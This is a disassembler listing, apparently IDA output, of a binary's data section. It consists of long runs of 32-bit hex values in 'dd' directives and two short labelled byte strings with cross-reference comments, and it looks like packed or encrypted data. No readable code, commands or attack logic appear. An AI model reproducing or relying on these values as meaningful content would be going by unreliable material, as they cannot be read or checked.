		dd 79824D4h, 0D931BDC0h, 0BB658C08h, 3D04CC80h,	7888E09Fh
		dd 1CAB5Eh, 16891BFDh, 0FB702B9Dh, 7B71F801h, 0D3B93D10h
		dd 4884A0F3h, 98BE48B5h, 0AE53E3A0h, 12B8D549h,	0E4703B2Ah
		dd 716673C2h, 24A890A2h, 2094FB0Ah, 19F48990h, 0EC321FC1h
		dd 0BE00B3CFh, 0F7C66974h, 0ACF8EA24h, 0B8DBCB8Ch, 1C8606A5h
		dd 0D01AAFDDh, 4C904929h, 6A1E3100h, 0B00D2C3Fh, 70F3670Ch
		dd 19CCB061h, 38B0225Dh, 1C3C3824h, 1D4DC585h, 5DE34470h
		dd 657C263Bh, 46829244h, 0C06D7A4Ch, 90C8A48h, 5978D01h
		dd 2030BA10h, 0EA38AAB7h, 8A88C078h, 41F69217h,	0D628394Dh
		dd 0C54F06AEh, 6A12F068h, 0C40061C7h, 0DD28571Bh, 1F189ADEh
		dd 2C0FA544h, 5D2B04A4h, 0FDAC806Ah, 0E3E963A7h, 7DD66280h
		dd 8DF17F41h, 4E1220BCh, 0BD7C0923h, 58B8C482h,	0A4CA1D01h
		dd 74A15C20h, 5873F8B3h, 7518E869h, 339A2809h, 98585090h
		dd 7F3A73F0h, 3ED80156h, 34BD1E99h, 0C742A052h,	0B8C081D0h
		dd 20A3E9F5h, 2B584A00h, 0FD581608h, 8C5D4C09h,	0A03E30F4h
		dd 48AEA188h, 2D24908Ah, 28F81598h, 7026F583h, 209DB7C1h
		dd 48C40B38h, 8C825EDDh, 0AC0941Dh, 0C4565DAEh,	150A86ACh
		dd 18A5F0B4h, 5CB2FF01h, 0EA01F11Eh, 61A870B6h,	0F80ED228h
		dd 181D9003h, 0AA7025BDh, 7A20B09Dh, 0C4EA756Bh, 8128CAE9h
		dd 23EBFDD8h, 459DC12Ch, 8C24AFF5h, 8C094CAAh, 2B811F05h
		dd 8A18701Bh, 322C70FEh, 963B38DFh, 0EC14743Eh,	9C80A524h
		dd 0C27BFA5Ch, 50306A28h, 0C060E486h, 943B7D2Ah, 0BDA02762h
		dd 0F2FC63C6h, 6500421Ch, 2F998188h, 64AF6669h,	2090BA74h
		dd 0D862A8B0h, 0E049B128h, 0E94F2A0Ch, 0C693DCF0h, 0C0152D18h
		dd 0A9197E63h, 82082674h, 0EBC2C00h, 0D2C6F60Ch, 0C43278B6h
		dd 6817585Fh, 81D7949Ch, 38208BB4h, 3FFC24F2h, 75C88A0h
		dd 0F531C814h, 0ECD14133h, 0C511E015h, 71012E7Ch, 91C7FFABh
		dd 10A7090Eh, 0FE0798F4h, 0D1C1C650h, 9EE0EDF6h, 30C2FE72h
		dd 0BE10B491h, 48C6A55Ah, 2008A67Ch, 0A2209688h, 0E0C3E107h
		dd 0C78966F1h, 0C15B8680h, 8C950291h, 100A8068h, 18247C1Eh
		dd 0A0BD21B1h, 0C37C79E3h, 4837E933h, 5E4FC868h, 71B8C6DAh
		dd 21F83819h, 7E10F77Ch, 0CB319646h, 86169140h,	0E625168h
		dd 31C26628h, 0F1301079h, 4DB120FDh, 7028CE0Ch,	45D003D0h
		dd 7434D1C3h, 0F3140330h, 0B8CF5AF6h, 849ABAA0h, 683EFAF0h
		dd 0C53A1887h, 7C0BF178h, 0C6ADFEBFh, 0A874FE41h, 0C87F5930h
		dd 0F716CA4Bh, 588C6BD1h, 0B3380184h, 0B1823206h, 0FB887642h
		dd 0BFD86188h, 0D0F12E1Dh, 50980D41h, 12BEF099h, 0EEC06965h
		dd 0BADED401h, 0C5F01706h, 0DF210C39h, 60D082E3h, 80159738h
		dd 32CA5D52h, 0FEF459EBh, 560E987Bh, 0E84014DAh, 223D01C4h
		dd 0F3C3F51Dh, 0EABAD0FCh, 1A50F7F0h, 92007E14h, 0E0192AB2h
		dd 681823F4h, 0C0149883h, 5E19ECAFh, 0F4909D00h, 4FE18C03h
		dd 0A5FAF83Eh, 55090118h, 809E2014h, 0E1666380h, 50F27AF6h
		dd 7833B091h, 5C1A12EEh, 0AF28043Fh, 905906E8h,	0D0DD6FC8h
		dd 0D110720Ch, 65EB22Eh, 0DF1F5601h, 82C56C3Fh,	0D340E0h
		dd 3314F1F9h, 2ACB5FD5h, 48ACBFE8h, 17BC6605h, 9C0430E8h
		dd 480C443h, 0E99060FAh, 0A6A31450h, 6F220E9Ah,	0F1EAF458h
		dd 0C3B13C9Ch, 8CEAECB9h, 0A8302338h, 127B7E3Fh, 6F018B1h
		dd 1801496Ch, 7108B061h, 3048E196h, 481B0A04h, 4A434E0h
		dd 83EB7E83h, 0E8FEC018h, 0F108D661h, 189FF517h, 0B1814347h
		dd 8439A939h, 0DE16805Fh, 7FDF1918h, 0D4C4090Ah, 38FD3Fh
		dd 477E5BF5h, 14F2F624h, 60933E0Ch, 11098A5h, 0D943D651h
		dd 419CA03Fh, 80139FC0h, 0C2CB5340h, 0A4F31051h, 0A6C4045Ch
		dd 50F78DEh, 0E0020AC3h, 60D1E79Ah, 0D017EA2Ch,	6EA3A8B8h
		dd 0E7921CD8h, 0CE23BCA0h, 0CF1AA8A0h, 94FA08C0h, 65FFDA50h
		dd 28B1780Dh, 9608CCDCh, 0A6694D5h, 6074DB03h, 7E6A9B8Ch
		dd 0C37FA8AAh, 0E1200204h, 611F2788h, 0C2E54898h, 417CA939h
		dd 5308206h, 21050D91h,	2FD8287Fh, 702BDA0Ah, 0A309A4F7h
		dd 11A48206h, 0B7BC69DBh, 7C1CFC21h, 0BF010804h, 83058105h
		dd 0C0069454h, 4D288641h, 0F82934EFh, 6F6A8178h, 20E70BCDh
		dd 0B424E3C8h, 5A140408h, 0CC5E29FCh, 0D2216740h, 5918203Fh
		dd 0D0A67733h, 1E302944h, 14D94080h, 1F49F18Ah,	0A29919F8h
		dd 0B831D130h, 742010F1h, 912F73BAh, 0B92BC060h, 9C40B0B2h
		dd 86DF2C03h, 78AB0928h, 0FBFA8403h, 54B05FD2h,	6B243FB6h
		dd 638CAC2Eh, 0A591D8D7h, 7EA63E80h, 93750A5Bh,	33DD0AD0h
		dd 46955014h, 0E5F91318h, 0E89AA3C8h, 578AE4Fh,	0EEA282BCh
		dd 19C45D62h, 644ED80Ah, 0E0A1D45Ch, 81A032D1h,	27E4204Ah
		dd 0BD99E9BFh, 440C883Ch, 0D304C4FCh, 5052D080h, 3FB3C05Ch
		dd 98C59F58h, 8E6C0080h, 0D7DB0F66h, 0E630880Bh, 903D3601h
		dd 3C15130Eh, 3CA8CDh, 4CB4726Fh, 13FAD3h, 5A5531DBh, 0B2756A99h
		dd 278918A8h, 0F4052F7Ch, 0D8ACB476h, 91A6DA81h, 3DEB2181h
		dd 80653749h, 0FF048C50h, 0D3137B16h, 0F8320F28h, 2DD43B01h
		dd 0D102D00Eh, 0FD5D20C3h, 0C059A013h, 90067982h, 0E2C618A5h
		dd 0E7D03885h, 0CA3286F0h, 98AD18ECh, 0D8283Ch,	9BEE3799h
		dd 8F96ECB4h, 3E468819h, 21C51B68h, 15E87081h, 4031A683h
		dd 147A9B8Ch, 5503C6F0h, 0E7268830h, 8D58180Dh,	36DC6882h
		dd 8478A029h, 51B04640h, 70E862D8h, 9C83BECCh, 0E0149E1Bh
		dd 0CE50AC5Bh, 0B267C2CDh, 692C0236h, 0BE6D8603h, 646A29E0h
		dd 57770730h, 568056Eh,	45590CA4h, 2076EE9Ch, 0C380E914h
		dd 0B4CC4760h, 0DF8CDA6Ch, 0DBF87250h, 3502F894h, 0EE6A5CADh
		dd 87C9003Ah, 6953F95Eh, 0E3440340h, 1EADDEEh, 2698AC28h
		dd 4DE8195Eh, 29B74040h, 0F8A964B9h, 392895C1h,	0C3878054h
		dd 0C0DFE0C6h, 189AEC50h, 50ACD95Ah, 6938EB04h,	0CC0CEFD3h
		dd 0F8A5B951h, 5399309h, 0A84125C4h, 595CE408h,	283CBC4Ah
		dd 0EE2B8E88h
		dd 1F2C0C02h, 5578B85Ah, 50F850E3h, 1C23416Ch, 0F30C3364h
		dd 507D8857h, 3CA8524Ch, 95BA17C0h, 0F9832649h,	0E2302F53h
		dd 0E0833DCAh, 77BE6D81h, 0D092997Dh, 0B078AF1Dh, 9689FD1Fh
		dd 702CDD12h, 0CDD11019h, 0EF8C0809h, 234C00E8h, 395FC20Ah
		dd 0FDC7D507h, 1F43D414h, 2687A011h, 3AE7F810h,	7003D71h
		dd 0E20A5F68h, 1474F2EBh, 0EE6E6700h, 3E50D947h, 6DD80064h
		dd 0C860669Dh, 0A638FE86h, 6E8B0041h, 0A9A7D6ADh, 314A43Eh
		dd 90BB4D67h, 6B804B48h, 9A08FB0Bh, 0C143F2C5h,	0F4F1D2DAh
		dd 0CBE054BDh, 8BDE9407h, 0C08841E5h, 9CFCE493h, 0ABE051F4h
		dd 0D23CF80Ah, 0C1C05067h, 0F3060D6Fh, 5C8085F3h, 0ACC7D6DBh
		dd 0B312033Ch, 9B979E9Ah, 735BEB80h, 0E7A58B03h, 0EB858F30h
		dd 3945A031h, 488C57E3h, 0AF35370Fh, 4B2A209Eh,	54059C1Bh
		dd 0A83193CCh, 0D5EF8870h, 5C73309Bh, 0C43B2B98h, 42450102h
		dd 0B0E7D410h, 48A69E30h, 606032CBh, 9B334E8Bh,	5786556h
		dd 0AF10402Bh, 0E934B420h, 50A57E8Ch, 0A646EC07h, 1072EE2Ch
		dd 125FAE0h, 8C737FCBh,	0A2D70E85h, 0C4E71065h,	27F4A915h
		dd 70720AB8h, 7E59E08Ch, 60CFC4C8h, 280B2826h, 25298CE7h
		dd 11832804h, 897BE2Bh,	70D5EBA9h, 3B401C29h, 54E6147Fh
		dd 0A1CCAC0Ah, 645805C0h, 20D27B38h, 2B7F8B98h,	6E78E063h
		dd 94C5D0CCh, 445CFDCDh, 29E50A4Ah, 8CACF341h, 88886BBCh
		dd 0E22568C3h, 7470DDD2h, 7C89505Fh, 416B8014h,	40EE6724h
		dd 12549758h, 4420E18Ch, 8008C968h, 833F52C4h, 45F3E505h
		dd 1C604214h, 2A3A69D5h, 33B82C6Ah, 39381479h, 28450292h
		dd 786979Dh, 1E113856h,	8C355BA9h, 63F04F42h, 108EA6Fh
		dd 43C3D28Eh, 2BFA198Dh, 0B3ECF048h, 59A5721Eh,	10C96880h
		dd 1DC8E49h, 7D7850D3h,	0CCBDFD21h, 0B0018C4Ch,	0BF1A12B7h
		dd 25C87FF2h, 1FA20055h, 512A2F62h, 9A03B1FDh, 97432BECh
		dd 0F088E647h, 80C009Eh, 4BD6D82Dh, 0F07F23BEh,	4F980667h
		dd 0C30C9640h, 8EFE2Eh,	0DD16D51h, 0C0FBBBC2h, 330F28ECh
		dd 601B2722h, 844C310Ah, 0C590C0DFh, 0EC1D8AF0h, 0D0B82E03h
		dd 0A3709FB2h, 8C26070Ch, 10865AF8h, 277224Ah, 0DC0BED17h
		dd 5CA800AAh, 0B568E301h, 6C67C901h, 6E45C254h,	92229050h
		dd 8A98145Ch, 840E8839h, 0D3894814h, 0D6742420h, 80E213FCh
		dd 71F7A000h, 0DC2439B0h, 0CFE00AD0h, 43C423FFh, 88D06597h
		dd 0F201BDD4h, 1C37D506h, 90401350h, 1AE14EFh, 95925AECh
		dd 8A91C9DAh, 908F3608h, 437A0F07h, 0FC545B37h,	0F0CEB9C1h
		dd 888151E9h, 0F92B6085h, 0F48E40C4h, 4C007B86h, 33475477h
		dd 0E71642E3h, 7A5EC20h, 227FE291h, 0E897F64Dh,	0CA43BD03h
		dd 903A2ABBh, 0F983BA4h, 9FB6D0Ch, 5C6580BDh, 337F85DCh
		dd 0D6A30D00h, 26AB12C3h, 4BF02Eh, 8668BBCFh, 0B76EBE8Ch
		dd 4A1082Bh, 0DF5F7B41h, 94EE20h, 17612F86h, 8FEF0F06h
		dd 50E820C0h, 3FA645h, 3B991AACh, 5798BB21h, 0FD75D800h
		dd 85A2AFB4h, 92EE00E0h, 7E146FCCh, 0B6F496BEh,	3DF8FC00h
		dd 0B91A3B1Eh, 3B9FB8BAh, 3F80EFC4h, 0B1E63A14h, 0F1002F5Eh
		dd 0D9832523h, 3D4170h,	1265E94Ch, 7E0D7263h, 5913FD00h
		dd 5D0AEE52h, 44985084h, 207C6083h, 997B1FEAh, 0F4572D00h
		dd 62A68720h, 15AF0067h, 635FEE43h, 32007659h, 0D568331Ch
		dd 39731DA2h, 0F180C03Ah, 547E57BAh, 1A032A3Fh,	438AFEB3h
		dd 46A1E809h, 1D00F3DFh, 0B6012F39h, 246E2ED6h,	20F0B028h
		dd 0BD040081h, 4D3F3E17h, 0F50015E4h, 0B3FD56DDh, 11D28B7h
		dd 0BBF6B2BAh, 0D4C3726Bh, 7B40E974h, 8833069Eh, 51AF2D4Ah
		dd 0CB087E0Eh, 234BA051h, 0C6369F5h, 0D324127Dh, 0CB005D89h
		dd 6FC30B67h, 0E6B9E76Dh, 74E114FCh, 0AB008894h, 0A972EEB3h
		dd 890182FEh, 21158EF1h, 0D040607Fh, 9832F5FDh,	0D0170021h
		dd 0E474035Ah, 34AD1659h, 300D3B40h, 448106CFh,	6183A92Ah
		dd 0B1E00B52h, 0C40C6361h, 97650702h, 40CB8111h, 0FA2F3A30h
		dd 0AA261C0Eh, 30B85C60h, 94811E30h, 0E50BBB00h, 0E0DFA359h
		dd 2711006Eh, 91AC99B4h, 0BE00437Ch, 0D0813CF5h, 3CD7EE61h
		dd 1A8079DFh, 0A78E7367h, 0D900BFE3h, 52348272h, 61546058h
		dd 0A2936033h, 6C03D047h, 0FB3FFF00h, 0AC09E767h, 2D4C01DCh
		dd 3E3CF6E0h, 0F3E3FC44h, 0D0D44131h, 0EC50DD13h, 93CEDEh
		dd 0DAAC6B45h, 8B17F868h, 80D7491Eh, 620015D3h,	8DB20AFEh
		dd 51CF1398h, 0D2D4006Ch, 71B43112h, 6841C000h,	0E8C8A062h
		dd 641E2965h, 5ED580A8h, 5CBC4E2Ah, 5A229242h, 5E14B600h
		dd 0AB7C55B1h, 13774Bh,	3AD031B0h, 0F8C70558h, 0D3A63900h
		dd 9487019Ch, 0EAC60030h, 0DCF17F89h, 2756660Ch, 7C4E01E0h
		dd 91C57B81h, 0A988340Ch, 0A27C00E5h, 52A559D0h, 0BD607D5Fh
		dd 847700Ch, 783B2443h,	72CC0168h, 24F9D9CAh, 6C00EE38h
		dd 8C451C86h, 0C2E51EB4h, 37B81D19h, 0A4094444h, 77C35B4Ch
		dd 4244828Ah, 68416C27h, 734420F0h, 6111C10Eh, 68467E1Eh
		dd 1F215C77h, 40E71C7Bh, 0A61735D6h, 0EC382926h, 0B6AE835Eh
		dd 973C1DFh, 0CA22F890h, 809EDC20h, 0C71DA81Ah,	548015B5h
		dd 89EEE40Fh, 9607000Eh, 9747A6A5h, 9800A47Dh, 0EC689BEBh
		dd 0AC0165F6h, 0CCAC01D4h, 1E6D87C8h, 8EEEB2Ah,	0A5346400h
		dd 0D3D45612h, 529F00F7h, 71229DC5h, 0AA695039h, 0F4DD820h
		dd 4016C91Fh, 95807200h, 3D00B82Dh, 60573697h, 608E34B5h
		dd 0A75F30ADh, 9900F8E4h, 8B27E971h, 7D872D6Eh,	8CCC1865h
		dd 0B6054817h, 92CF8000h, 0AD680229h, 6FF80E3Ah, 2D6E656Ah
		dd 92A3460h, 0B309D40Bh, 80C89A71h, 0FCE1F37Bh,	0A83D5A20h
		dd 7C1600CBh, 9A8FC560h, 0EED03CC1h, 9481733Dh,	0D99008DCh
		dd 0A55ED405h, 0E2098700h, 0D586E0ADh, 8B7171h,	0E9EE7C65h
		dd 0A3D61BFAh, 0EDB72200h, 8E2BF66Dh, 9DF81CA9h, 82860A65h
		dd 8CB5005Ch, 0FC819FE0h, 0F006F42h, 0D22D654Eh, 0D008E27h
		dd 0C34794A7h, 0C2629Ch, 44C873Eh, 0AE9929C6h, 0F2CEBB03h
		dd 8D183674h, 5B14AC41h, 0D347E3h, 0DC5083A8h, 2251A0A2h
		dd 12CD650Eh, 0F28DE016h, 7A3DA7DEh, 56EA1F0Ah,	70BB9F0Ch
		dd 5C7CA920h, 3BA5D500h, 8BA3405Dh, 3C8A0042h, 0D11E9F31h
		dd 37004E0Bh, 6CB77C9Eh, 1C98C5Bh, 477E8A46h, 80D1F0CCh
		dd 0F8974048h, 325AB6Bh, 8DE1734Ch, 80BCCBBDh, 0C0103618h
		dd 0C587ED09h, 6A281839h, 0D88C069h, 114FF1D8h,	0CFE6AB0Bh
		dd 0D29100FEh, 3FC3E08Fh, 44001B64h, 7F39623Ch,	8A12D0ABh
		dd 3020F073h, 88E3003h,	32066260h, 20098C4Fh, 9F161E44h
		dd 1921C04Bh, 0E1630386h, 8001293Ch, 9E7D78EDh,	3012A432h
		dd 16B04C4Eh, 6F0F76C4h, 0C048B2DCh, 9A216C66h,	0B8DD0A61h
		dd 288A043h, 83082298h,	5A82F482h, 6232C580h, 9606A266h
		dd 2B868B50h, 0BEAC3051h, 0C9619728h, 9D623D12h, 85C06440h
		dd 0EE104Fh, 800F7CB1h,	9866E5AAh, 6E50F77Ah, 0E40EA394h
		dd 61D0A434h, 6F4EEFA0h, 493F048h, 8A785EF1h, 0BB9D31D9h
		dd 5CE0A303h, 3793B58h,	70B0401h, 0E642B409h, 7A97B02Fh
		dd 35A5F900h, 48307B4Eh, 73D7028h, 6588D49Eh, 0A249905Dh
		dd 0F900E0CCh, 0EA6D5CC8h, 0E7DA5Fh, 0DC542573h, 0AC56B15Dh
		dd 0BC160300h, 82ECAD77h, 2BEA1827h, 626F0894h,	3603AB00h
		dd 0A8649953h, 0C518003Dh
		dd 0B3C226D6h, 9F7DB1CFh, 0E046733Bh
		db 0DCh
aUidt		db 'žIDâ',0             ; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dw 171Ah
aV5kFd		db '‚5KØf¤',0
		db 19h
		dd 3BE926Dh, 69F112h, 0D39E6C01h, 2F65066Eh, 0B8C7540Ah
		dd 1D0148B0h, 49EB448Bh, 0E9FE16FAh, 0DDF48C00h, 7438BF67h
		dd 24880159h, 89CC60ADh, 0C7EFC4F5h, 0A19C8A00h, 0AB407603h
		dd 83F80F72h, 66013C86h, 0F8695EE0h, 0BE0E22D8h, 8AE16005h
		dd 7600A4F2h, 710EF1CFh, 73FA0050h, 30068E4Bh, 74C31F9h
		dd 0FE380071h, 221AF0B1h, 1941034Dh, 24CE0CB5h,	66C42FD0h
		dd 300E5Ch, 4F34443h, 0A84BE6h,	25C740BFh, 2F7EA07Dh, 1F07A701h
		dd 5795C47Fh, 9B46298Fh, 7E1382A0h, 0EE00A331h,	0AA745408h
		dd 517BD9h, 7877E0CAh, 0BDCCF919h, 7C6721Ch, 0A9137980h
		dd 17DBD9h, 5ADA2B45h, 0C51A6D4Fh, 0B2E4071Ch, 0A25D080h
		dd 1CC0A575h, 0C042A677h, 24CAA87Bh, 0E13F4E5Ah, 0E630609Ah
		dd 8CFC59h, 0F68AB64Dh,	0F56792BDh, 0C0170E8h, 0E352E6EEh
		dd 3FEC976Bh, 6079F6C7h, 0B239C0D0h, 0B8EE4A92h, 0ACB4DF02h
		dd 0A0695FBBh, 0A004E088h, 0C05CA8CFh, 3CE80813h, 0B36312C2h
		dd 0A720017Fh, 0FFD7E444h, 0DED9DCF6h, 830019FEh, 522B0BFEh
		dd 3F4B0141h, 0BB0024CBh, 4739E753h, 1200AB21h,	2262928Ch
		dd 333CD682h, 0DAA0EF1Bh, 0C5BA0B0h, 43A42B03h,	0B0463451h
		dd 77319CDBh, 684A0CA5h, 0C3C0D73Dh, 58A20B29h,	247B1500h
		dd 8693B474h, 8821DE60h, 790EEAh, 98CF94F2h, 4A633E8Eh
		dd 27C598CEh, 4263B0BDh, 0A71000F6h, 7FBA6527h,	320E98EAh
		dd 869FB4BCh, 20E55Dh, 0EF9943AEh, 35A91724h, 0E0FBC709h
		dd 0BE2B074Dh, 0BCE443h, 8309CD79h, 944F6477h, 56C08007h
		dd 2FF0824Eh, 0F2B85DDh, 8B8D8F28h, 3944E940h, 5314318Eh
		dd 40CC0B5Fh, 0C2F2D48Ch, 0B30660C0h, 7351B772h, 0C4130079h
		dd 7C5A61AEh, 8A00887Ah, 0E490968Eh, 3AE8B074h,	0FE81CDD2h
		dd 0C0127EC6h, 9A188045h, 0FB8586C2h, 0F2870056h, 0A47CE496h
		dd 41013B54h, 36ACB965h, 0C4E55E42h, 0B73DDCCh,	0D5086AC0h
		dd 0AEB4DD80h, 9E00AAB5h, 0A7B248B7h, 0E12F88Dh, 0DA82A4B8h
		dd 0F5A5FE80h, 9CE4A9B5h, 96D67F07h, 19C11266h,	0E0CED427h
		dd 0C9164AAh, 0ABEC0421h, 0A87DC528h, 47A30A00h, 2ADCBBA6h
		dd 0D6AF0F4Dh, 0C6E07B13h, 0BAF13CDDh, 47008CE6h, 19192E2h
		dd 31D35EF2h, 1FE05A28h, 6F0FC58h, 0C652B00h, 146A7509h
		dd 0F3E400D5h, 2729ACCEh, 2200CFEFh, 0EE4C967Dh, 269CF746h
		dd 903F23h, 0DA7530CBh,	0E10E06EAh, 277D330Ch, 5411266Ch
		dd 92003BDh, 0E57000E6h, 80B3668Fh, 0F2FF6EDEh,	0C8B00340h
		dd 3044DA30h, 0C25E9Eh,	8D07A204h, 0FFC51CDEh, 6FD4D21Fh
		dd 394AF3C3h, 54ADA096h, 0DABB00E4h, 0C09CE8A9h, 95003486h
		dd 80962CC4h, 3807E77Dh, 4B1D6D02h, 918340E2h, 0BBB59965h
		dd 0E11C4500h, 0CE47F433h, 0ABFA0379h, 0CD9DE9A5h, 8FDB3E00h
		dd 0AE047C27h, 9CF8005Eh, 73C0D2E4h, 0F50388CEh, 4C563DF4h
		dd 5478E802h, 15F3015Dh, 59403B8Ah, 0D174F0B6h,	0F7C0B400h
		dd 6C4298E9h, 0F2C500A7h, 589C160Ah, 307B678Ah,	0ABBC5201h
		dd 6A6DC29Dh, 7B5C2ECCh, 0B5170096h, 7D8487B0h,	5031B113h
		dd 0C28D185Bh, 56089Eh,	493CDEC0h, 940388AFh, 72BEB7ECh
		dd 2CA1904Fh, 321A0393h, 0AA6789B0h, 85EB70E0h,	48139D1Ch
		dd 966B007Ah, 0FD2102DAh, 9A140004h, 5E3A0D53h,	8000F613h
		dd 79226F2h, 6E00236h, 6240B39Ch, 80571970h, 1D4AF804h
		dd 0CEDBF4h, 11B7BDBBh,	1400C2CBh, 997FD0BCh, 0C3EB7D93h
		dd 8A4D8E30h, 0FC1383Ch, 80AC4A87h, 0D8E86570h,	8A34ADF3h
		dd 564C5539h, 0E147191Fh, 5DB229C0h, 0E63A3Bh, 90DC46C2h
		dd 32A4D91h, 1432580Ah,	51080CFFh, 5C0E4177h, 788511CDh
		dd 0E150AE08h, 48423D18h, 0CCDA714h, 8279A910h,	25CC8491h
		dd 0B7184555h, 613004B5h, 0A9D92149h, 184D0C42h, 9F1FFCCEh
		dd 3108DD13h, 165A4255h, 2526212h, 107FD30Ch, 24AF7925h
		dd 10788C15h, 4D855041h, 0AD600A88h, 9F28BA24h,	38994378h
		dd 21C322B9h, 0AA08449Dh, 4A094515h, 62CC5F54h,	82007D35h
		dd 307E663Bh, 0A6A81094h, 19C3876Bh, 10B0C63Eh,	52E2C1h
		dd 39AC9614h, 0FCB451C9h, 1CF2007Ch, 0C5FFAF2Ch, 670720F6h
		dd 73BFE487h, 0F2E5A220h, 84760054h, 11DE5565h,	7C07C92Eh
		dd 197207FAh, 9EC66A90h, 8206012Ch, 0CFD705C4h,	27F2E0E1h
		dd 0F6284E1Ch, 0FE771Fh, 94FA5C59h, 3C353856h, 0F40F50B7h
		dd 26C070E3h, 0E84ECACBh, 5B597403h, 0D8DDED72h, 603FD0BAh
		dd 0A36D899Dh, 0EF00C08Eh, 0A6259220h, 0C06C502Eh, 954F6B28h
		dd 0A8004381h, 45B1B4DDh, 0D3864Dh, 6F441D5Ah, 73C19FC6h
		dd 0CF562B07h, 71B0FE6Eh, 12BF763Ch, 0BBD0C764h, 77AE5700h
		dd 5633F8Dh, 0FB88D99Bh, 0D20C00Fh, 0DC1838D5h,	0B590945h
		dd 0E3101CEh, 5E4C558Ch, 91A02BCFh, 0BA040335h,	0B16B8626h
		dd 0A583Ch, 0D5FBFD3Ah,	1DCD6E3h, 9FF4027h, 4081DE44h
		dd 26DF3814h, 6EAAD515h, 5780034h, 0F8D96D2h, 798A004Fh
		dd 45BEF040h, 0CC164C51h, 0E400C32Ch, 78625AD7h, 0F69A03EEh
		dd 0A33F4DA6h, 7E988D0h, 390C4307h, 0B80C3618h,	69DB8B2h
		dd 4D97F54Ch, 0A83998CAh, 0A24F8065h, 815D2375h, 0B1BC003Ch
		dd 0E5CF9B22h, 0B28CB63h, 0A218B2F3h, 0C98060D5h, 5D593015h
		dd 0F29626D0h, 0A7239A14h, 0E755A040h, 228B1424h, 0CE07C8CAh
		dd 35A3A3Dh, 63BA2031h,	0BB392D40h, 4E3015E8h, 3A4A98CBh
		dd 7021F112h, 0CF52C801h, 6D5A1881h, 804C61B9h,	6B3CDF88h
		dd 7CD7253Ah, 23353093h, 64FEF5B8h, 407E7A03h, 0C3BB637h
		dd 6361D4F8h, 417CF538h, 0F0B62A51h, 4901041Ch,	4F8901CEh
		dd 94518E5Dh, 844A62D4h, 77297D02h, 8CC05742h, 12005592h
		dd 0C26597F7h, 28816D44h, 3CC7711h, 0C967159Ch,	280208E1h
		dd 0C787714Ch, 31FC80ACh, 1B75DCh, 0A320B8A7h, 5D22E728h
		dd 1F8C6D58h, 60019CDFh, 0F1E5719Bh, 407F4820h,	727D3726h
		dd 76DD7000h, 0CF9A0E20h, 32AB28DFh, 0D9C900E0h, 3D3AB950h
		dd 52031504h, 0FB817B26h, 5B41FF2h, 8545C7BAh, 8178C468h
		dd 50A501D6h, 94441580h, 1093C4A0h, 55A878C7h, 0B10C8190h
		dd 0DA8600B9h, 0C9E5A388h, 30187A03h, 87A1E40Bh, 70F08021h
		dd 0B5EC5718h, 20D7C8E8h, 0FA0228FBh, 0D9BC73E6h, 7E7448E2h
		dd 808990A9h, 544EB498h, 60DC8D4h, 25CE5D49h, 0A076E871h
		dd 0EB7870C0h, 0EEBF7B75h, 0E830ACB4h, 4D6A11E6h, 5CD284DEh
		dd 7F2F4502h, 78CCC480h, 2D26668Ah, 160310A6h, 0F0A09DACh
		dd 92726508h, 10A21248h, 351408C6h, 1DA3C285h, 0B0B9BFC3h
		dd 49109E99h, 0E280DCC9h, 6B5D5CDAh, 67F04C00h,	84B87D8h
		dd 0F00FD15h, 0AC30AD99h, 575851D6h, 5960380Ch,	92335F81h
		dd 3327F03Bh, 18C80024h, 54AC4821h, 0E03E5007h,	0C25D007Eh
		dd 70819306h, 0C600860Ah, 0E28E8AC1h, 0F5CC94Fh, 5B36CA7Ch
		dd 8CB85529h, 2C6E213Ch, 0E39720F9h, 24C827E1h,	0C0504B7Eh
		dd 0A45C94A3h, 7850A61Fh, 46014828h, 8097B3ADh,	808175FDh
		dd 1A6EF05Ah, 0C0B06B21h, 1C3125Eh, 619C0018h, 8A387581h
		dd 7DE62A7Ch, 52FA9C75h, 0AFC12E0Ah, 0C207C88Dh, 331F8891h
		dd 0B64F1000h, 246A89D2h, 784D798h, 6037E8FBh, 0E45A0FF6h
		dd 0CA580D50h, 0C268C70Fh, 0C11560DCh, 78EBAAh,	0DDF2D451h
		dd 81D79A91h, 480180F0h, 13D5C412h, 0AEC8D17h, 0AC7C00CFh
		dd 9CF60EA5h
		dd 0DC00C82Ch, 327F13D4h, 792EF1D2h, 0C7ED0029h, 49A01E5Ah
		dd 0D9300DD6h, 0FFB43009h, 912080DEh, 683EFBFFh, 6759866Ch
		dd 858A465h, 0D9DE4890h, 5616AA00h, 3ACC330h, 0F8B225C4h
		dd 4488A6C5h, 0D901DF15h, 810A8323h, 99BA9DDDh,	0D6A21886h
		dd 0C0FB515Fh, 5229C30Ch, 4F0408A7h, 7A2309DEh,	77D02AF8h
		dd 63EE400h, 731DA98h, 0FD820670h, 3032AE6Bh, 0CEDB5600h
		dd 58D9B03Ch, 0A0970014h, 1C2E68BEh, 3E00F373h,	0FFD4F171h
		dd 6D9AF769h, 1078B0F5h, 2F12E904h, 68A04B73h, 35147434h
		dd 7A0C4E1h, 39532083h,	162A60E0h, 0B2ED1806h, 27D1802Dh
		dd 33544D07h, 2EAFA6C6h, 0E8620A71h, 7472400h, 3F49C9h
		dd 5ED42CEEh, 4B6FF15Ah, 8AF83C03h, 58C9436Ah, 0E80AC288h
		dd 44C8CAF0h, 310488AEh, 63D98B15h, 3CD040A0h, 0A974617Ah
		dd 78588304h, 5A00CB99h, 833517Fh, 36DBD8C0h, 188D62E6h
		dd 51A77547h, 0F1FC0F46h, 0AD6DC607h, 0A134EB2h, 911000FBh
		dd 74659CCDh, 7972B3BDh, 0C30EE52h, 0B09873C7h,	6E48A8C3h
		dd 0D56F003Fh, 0B0B5812Ah, 0D9400AF8h, 4F8401BEh, 6128DC09h
		dd 0F03020DDh, 2BC62601h, 0D2FFAE46h, 5352F8h, 3C7BB05Dh
		dd 2906C4E3h, 34283300h, 0EDC98E10h, 608974A0h,	32ECD91Eh
		dd 0A1077333h, 0CF50E2BAh, 0D0B2C663h, 788700Fh, 0DBF7528Ah
		dd 0BD7A92A4h, 51A5F4A0h, 1E015813h, 44A9AB7Fh,	0BD1AA46h
		dd 0EA028824h, 0E0850099h, 0B4FCF595h, 0E6002993h, 51BD761Ch
		dd 1A8BA9B8h, 0BEB6D12Fh, 1EF68420h, 8D00408Eh,	27F3A960h
		dd 56418C7h, 5EA4DE46h,	0CF405D77h, 0F7E2A313h,	0ED11AEDFh
		dd 9AF40510h, 0E5946300h, 19F0034Fh, 9C2648ACh,	0C275E181h
